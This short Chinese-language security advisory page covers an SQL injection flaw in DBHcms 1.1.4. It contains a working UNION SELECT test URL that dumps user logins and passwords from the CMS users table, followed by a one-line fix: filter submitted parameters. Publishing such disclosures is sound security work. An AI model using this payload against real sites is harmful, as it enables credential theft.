DBHcms 1.1.4 SQL注入漏洞及修复 - 网站安全 - 自学

漏洞 描述：DBHcms是一个面向个人和小型商业网站的开源内容管理 系统 ，同时开发多种语言版本很好的支持搜索引擎优化。程序存在漏洞主要原因是未对提交参数进行严格过滤，导致SQL注入攻击漏洞产生。

 SQL注入测试代码： http://192.168.1.100/DBHcms/index.php?dbhcms_pid=-81&editmenu=-2+union+select+1,2,3,4,5,6,group_concat(user_login,0x3a,user_passwd),8,9,10,11,12,13,14+from+dbhcms_cms_users --

修复方案：

过滤提交参数

查看更多关于DBHcms 1.1.4 SQL注入漏洞及修复 - 网站安全 - 自学的详细内容...